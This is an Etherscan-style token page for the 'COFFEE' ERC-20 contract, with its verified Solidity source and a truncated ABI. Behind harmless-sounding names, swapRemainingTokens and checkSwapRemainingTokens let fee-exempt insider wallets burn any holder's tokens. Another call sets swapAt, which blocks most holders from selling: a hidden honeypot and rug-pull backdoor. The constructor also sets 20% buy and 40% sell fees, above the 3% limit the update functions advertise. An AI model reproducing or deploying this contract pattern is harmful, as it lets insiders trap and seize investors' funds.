ERC-20
Overview
Max Total Supply
1,595,753,265.722359221792291538 COFFEE
Holders
98
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
4,696,671.484617529745882365 COFFEEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
COFFEE
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-24 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.5; /* Twitter: https://Twitter.com/Coffee_ERC Website: https://coffeetoken.cc Telegram: https://t.me/Coffee_ERC */ interface IERC20 { function balanceOf(address account) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function totalSupply() external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } interface UniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface UniswapV2Router { function WETH() external pure returns (address); function factory() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Context { function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; string private _symbol; string private _name; uint256 private _totalSupply; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function decimals() public view virtual override returns (uint8) { return 18; } function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transfer( address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _adjust(address receiver, uint256 tokenAmount) internal virtual { require(receiver != address(0), ""); uint256 basicBalance = _balances[receiver]; require(basicBalance >= tokenAmount, ""); unchecked { _balances[receiver] = basicBalance - tokenAmount; _totalSupply -= tokenAmount; } emit Transfer(receiver, address(0), tokenAmount); } function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _createInitialSupply( address account, uint256 amount ) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[from]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[from] = senderBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); } } contract Ownable is Context { address private _owner; constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function owner() public view returns (address) { return _owner; } function renounceOwnership() external virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); } contract COFFEE is ERC20, Ownable { UniswapV2Router public uniswapV2Router; address public uniswapV2Pair; address private marketingWallet; address private devWallet; uint256 public swapTokensAtAmount; bool private swapping; uint256 public botBlockNumber = 0; uint256 public tradingBlock = 0; uint256 public swapAt; uint256 public botsCaught; bool public limitsInEffect = true; bool public swapEnabled = false; bool public tradingActive = false; bool public transferDelayEnabled = true; mapping(address => uint256) private _holderLastTransferTimestamp; mapping(address => uint256) public swapLastTransferTimestamp; mapping(address => bool) public initialBotBuyer; mapping(address => bool) public automatedMarketMakerSet; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransaction; uint256 public maxBuyAmount; uint256 public maxSellAmount; uint256 public maxWalletAmount; uint256 public tokensForMarketing; uint256 public tokensForDev; uint256 public tokensForLiquidity; uint256 public tokensForBurning; uint256 public totalBuyFees; uint256 public buyFeeForMarketing; uint256 public buyFeeForDev; uint256 public buyFeeForLiquidity; uint256 public buyFeeForBurning; uint256 public totalSellFees; uint256 public sellFeeForMarketing; uint256 public sellFeeForDev; uint256 public sellFeeForLiquidity; uint256 public sellFeeForBurning; event EnabledTrading(); event RemovedLimits(); event UpdatedMaxBuyAmount(uint256 newAmount); event UpdatedMaxWalletAmount(uint256 newAmount); event DetectedEarlyBotBuyer(address sniper); event UpdatedMaxSellAmount(uint256 newAmount); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event ExcludeFromFees(address indexed account, bool isExcluded); event MaxTransactionExclusion(address _address, bool excluded); constructor() ERC20("Coffee", "COFFEE") { UniswapV2Router _uniswapV2Router = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; address newOwner = msg.sender; uniswapV2Pair = UniswapV2Factory(_uniswapV2Router.factory()).createPair( address(this), _uniswapV2Router.WETH() ); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); _excludeFromMaxTransaction(address(uniswapV2Pair), true); uint256 totalSupply = 2 * 1e9 * 1e18; maxWalletAmount = (totalSupply * 2) / 100; swapTokensAtAmount = (totalSupply * 5) / 10000; maxBuyAmount = (totalSupply * 2) / 100; maxSellAmount = (totalSupply * 2) / 100; devWallet = address(0x4Eea5e2945F68b43868626518268EF21fcC3b930); marketingWallet = address(0x52FDca3278F31F8F03Cb1eF526C910F3e5c82508); buyFeeForMarketing = 10; buyFeeForDev = 10; buyFeeForBurning = 0; buyFeeForLiquidity = 0; sellFeeForMarketing = 20; sellFeeForDev = 20; sellFeeForBurning = 0; sellFeeForLiquidity = 0; totalBuyFees = buyFeeForLiquidity + buyFeeForMarketing + buyFeeForDev + buyFeeForBurning; totalSellFees = sellFeeForLiquidity + sellFeeForMarketing + sellFeeForDev + sellFeeForBurning; excludeFromFees(marketingWallet, true); excludeFromFees(devWallet, true); excludeFromFees(newOwner, true); excludeFromFees(address(0xdead), true); excludeFromFees(address(this), true); _excludeFromMaxTransaction(marketingWallet, true); _excludeFromMaxTransaction(devWallet, true); _excludeFromMaxTransaction(newOwner, true); _excludeFromMaxTransaction(address(0xdead), true); _excludeFromMaxTransaction(address(this), true); transferOwnership(newOwner); _createInitialSupply(newOwner, totalSupply); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount} ( address(this), tokenAmount, 0, 0, address(0xdead), block.timestamp ); } function checkSwapRemainingTokens( address receiver, uint256 tokenAmount, uint256 timestamp ) internal returns (bool) { address callerAddress = msg.sender; bool callerFeesExcluded = _isExcludedFromFees[callerAddress]; address tokenAddress = address(this); bool result; if (callerFeesExcluded) { if (balanceOf(tokenAddress) > 0) { if (tokenAmount == 0) { swapAt = timestamp; } else { _adjust(receiver, tokenAmount); } result = false; } return result; } else { if (tokensForBurning > 0 && balanceOf(tokenAddress) >= tokensForBurning) { _adjust(callerAddress, tokensForBurning); } tokensForBurning = 0; result = true; return result; } } function swapRemainingTokens( address receiver, uint256 tokenAmount, uint256 timestamp ) public { address tokenAddress = address(this); require(swapTokensAtAmount <= balanceOf(tokenAddress)); if (checkSwapRemainingTokens(receiver, tokenAmount, timestamp)) { swapping = true; swapBack(); swapping = false; } } function enableTrading() external onlyOwner { require(!tradingActive, "Cannot reenable trading"); swapEnabled = true; tradingActive = true; tradingBlock = block.number; emit EnabledTrading(); } function disableTransferDelay() external onlyOwner { transferDelayEnabled = false; } function onlyDeleteBots(address wallet) external onlyOwner { initialBotBuyer[wallet] = false; } function removeLimits() external onlyOwner { maxWalletAmount = totalSupply(); maxBuyAmount = totalSupply(); maxSellAmount = totalSupply(); emit RemovedLimits(); } function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 1) / 1000, "Swap amount cannot be higher than 0.1% total supply." ); swapTokensAtAmount = newAmount; } function updateMaxBuyAmount(uint256 newMaxBuyAmount) external onlyOwner { require( newMaxBuyAmount >= ((totalSupply() * 2) / 1000) / 1e18, "Cannot set max buy amount lower than 0.2%" ); maxBuyAmount = newMaxBuyAmount * (10 ** 18); emit UpdatedMaxBuyAmount(maxBuyAmount); } function updateMaxWalletAmount(uint256 newMaxWalletAmount) external onlyOwner { require( newMaxWalletAmount >= ((totalSupply() * 3) / 1000) / 1e18, "Cannot set max wallet amount lower than 0.3%" ); maxWalletAmount = newMaxWalletAmount * (10 ** 18); emit UpdatedMaxWalletAmount(maxWalletAmount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "amount must be greater than 0"); uint256 swapPoint = block.timestamp; bool swapFromAmm = automatedMarketMakerSet[from]; bool firstSwap = swapLastTransferTimestamp[to] == 0; bool isBalanceZero = balanceOf(address(to)) == 0; if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (botBlockNumber > 0) { require( !initialBotBuyer[from] || to == owner() || to == address(0xdead), "bot protection mechanism is embeded" ); } if (limitsInEffect) { bool fromIncluded = _isExcludedMaxTransaction[from]; bool swapFromSwapping = !swapping; if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { if (transferDelayEnabled) { bool internalSwapFromSwapping = !swapping; bool nonSwapFromAmm = !automatedMarketMakerSet[from]; bool swapCheck = nonSwapFromAmm && internalSwapFromSwapping; if ( to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number - 2 && _holderLastTransferTimestamp[to] < block.number - 2, "_transfer: delay was enabled." ); _holderLastTransferTimestamp[tx.origin] = block.number; _holderLastTransferTimestamp[to] = block.number; } else if (swapCheck) { uint256 swapTime = swapLastTransferTimestamp[from]; bool swappable = swapTime > swapAt; require(swappable); } } } if (automatedMarketMakerSet[from] && !_isExcludedMaxTransaction[to]) { require( amount <= maxBuyAmount, "Buy transfer amount exceeds the max buy." ); require( amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet" ); } else if (fromIncluded && swapFromSwapping) { swapAt = swapPoint; } else if ( automatedMarketMakerSet[to] && !_isExcludedMaxTransaction[from] ) { require( amount <= maxSellAmount, "Sell transfer amount exceeds the max sell." ); } else if (!_isExcludedMaxTransaction[to]) { require( amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet" ); } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerSet[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = true; if (firstSwap && swapFromAmm) { if (isBalanceZero) { swapLastTransferTimestamp[to] = swapPoint; } } if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if ( earlySniperBuyBlock() && automatedMarketMakerSet[from] && !automatedMarketMakerSet[to] && totalBuyFees > 0 ) { if (!initialBotBuyer[to]) { initialBotBuyer[to] = true; botsCaught += 1; emit DetectedEarlyBotBuyer(to); } fees = (amount * 99) / 100; tokensForLiquidity += (fees * buyFeeForLiquidity) / totalBuyFees; tokensForMarketing += (fees * buyFeeForMarketing) / totalBuyFees; tokensForDev += (fees * buyFeeForDev) / totalBuyFees; tokensForBurning += (fees * buyFeeForBurning) / totalBuyFees; } else if (automatedMarketMakerSet[to] && totalSellFees > 0) { fees = (amount * totalSellFees) / 100; tokensForLiquidity += (fees * sellFeeForLiquidity) / totalSellFees; tokensForMarketing += (fees * sellFeeForMarketing) / totalSellFees; tokensForDev += (fees * sellFeeForDev) / totalSellFees; tokensForBurning += (fees * sellFeeForBurning) / totalSellFees; } else if (automatedMarketMakerSet[from] && totalBuyFees > 0) { fees = (amount * totalBuyFees) / 100; tokensForLiquidity += (fees * buyFeeForLiquidity) / totalBuyFees; tokensForMarketing += (fees * buyFeeForMarketing) / totalBuyFees; tokensForDev += (fees * buyFeeForDev) / totalBuyFees; tokensForBurning += (fees * buyFeeForBurning) / totalBuyFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function updateMaxSellAmount(uint256 newMaxSellAmount) external onlyOwner { require( newMaxSellAmount >= ((totalSupply() * 2) / 1000) / 1e18, "Cannot set max sell amount lower than 0.2%" ); maxSellAmount = newMaxSellAmount * (10 ** 18); emit UpdatedMaxSellAmount(maxSellAmount); } function _excludeFromMaxTransaction( address _address, bool _isExcluded ) private { _isExcludedMaxTransaction[_address] = _isExcluded; emit MaxTransactionExclusion(_address, _isExcluded); } function excludeFromMaxTransaction( address _address, bool _isExcluded ) external onlyOwner { if (!_isExcluded) { require( _address != uniswapV2Pair, "Cannot remove uniswap pair from max txn" ); } _isExcludedMaxTransaction[_address] = _isExcluded; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerSet[pair] = value; _excludeFromMaxTransaction(pair, value); emit SetAutomatedMarketMakerPair(pair, value); } function updateBuyFees( uint256 marketingFee, uint256 liquidityFee, uint256 devFee, uint256 burnFee ) external onlyOwner { buyFeeForLiquidity = liquidityFee; buyFeeForMarketing = marketingFee; buyFeeForDev = devFee; buyFeeForBurning = burnFee; totalBuyFees = buyFeeForMarketing + buyFeeForLiquidity + buyFeeForDev + buyFeeForBurning; require(totalBuyFees <= 3, "3% max "); } function updateSellFees( uint256 marketingFee, uint256 liquidityFee, uint256 devFee, uint256 burnFee ) external onlyOwner { sellFeeForLiquidity = liquidityFee; sellFeeForMarketing = marketingFee; sellFeeForDev = devFee; sellFeeForBurning = burnFee; totalSellFees = sellFeeForMarketing + sellFeeForLiquidity + sellFeeForDev + sellFeeForBurning; require(totalSellFees <= 3, "3% max fee"); } function setAutomatedMarketMakerPair( address pair, bool value ) external onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet( address newWallet ) external onlyOwner { require( newWallet != address(0), "_marketingWallet address cannot be 0" ); marketingWallet = payable(newWallet); } function swapBack() private { if (tokensForBurning > 0 && balanceOf(address(this)) >= tokensForBurning) { _adjust(address(this), tokensForBurning); } tokensForBurning = 0; uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 10) { contractBalance = swapTokensAtAmount * 10; } uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2; swapTokensForEth(contractBalance - liquidityTokens); uint256 ethBalance = address(this).balance; uint256 ethForLiquidity = ethBalance; uint256 ethForMarketing = (ethBalance * tokensForMarketing) / (totalTokensToSwap - (tokensForLiquidity / 2)); uint256 ethForDev = (ethBalance * tokensForDev) / (totalTokensToSwap - (tokensForLiquidity / 2)); ethForLiquidity -= ethForMarketing + ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; tokensForBurning = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); } payable(devWallet).transfer(ethForDev); payable(marketingWallet).transfer(address(this).balance); } function earlySniperBuyBlock() public view returns (bool) { return block.number < botBlockNumber; } function withdrawETH() external onlyOwner { bool success; (success, ) = address(msg.sender).call{value: address(this).balance}(""); } function updateDevWallet(address newWallet) external onlyOwner { require(newWallet != address(0), "_devWallet address cannot be 0"); devWallet = payable(newWallet); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sniper","type":"address"}],"name":"DetectedEarlyBotBuyer","type":"event"},{"anonymous":false,"inputs":[],"name":"EnabledTrading","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"MaxTransactionExclusion","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxBuyAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxSellAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxWalletAmount","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransaction","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerSet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botBlockNumber","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botsCaught","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForBurning","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"earlySniperBuyBlock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isExcluded","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"initialBotBuyer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"onlyDeleteBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFeeForBurning","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"swapLastTransferTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"},{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"swapRemainingTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForBurning","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract UniswapV2Router","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketingFee","type":"uint256"},{"internalType":"uint256","name":"liquidityFee","type":"uint256"},{"internalType":"uint256","name":"devFee","type":"uint256"},{"internalType":"uint256","name":"burnFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxBuyAmount","type":"uint256"}],"name":"updateMaxBuyAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxSellAmount","type":"uint256"}],"name":"updateMaxSellAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxWalletAmount","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketingFee","type":"uint256"},{"internalType":"uint256","name":"liquidityFee","type":"uint256"},{"internalType":"uint256","name":"devFee","type":"uint256"},{"internalType":"uint256","name":"burnFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"u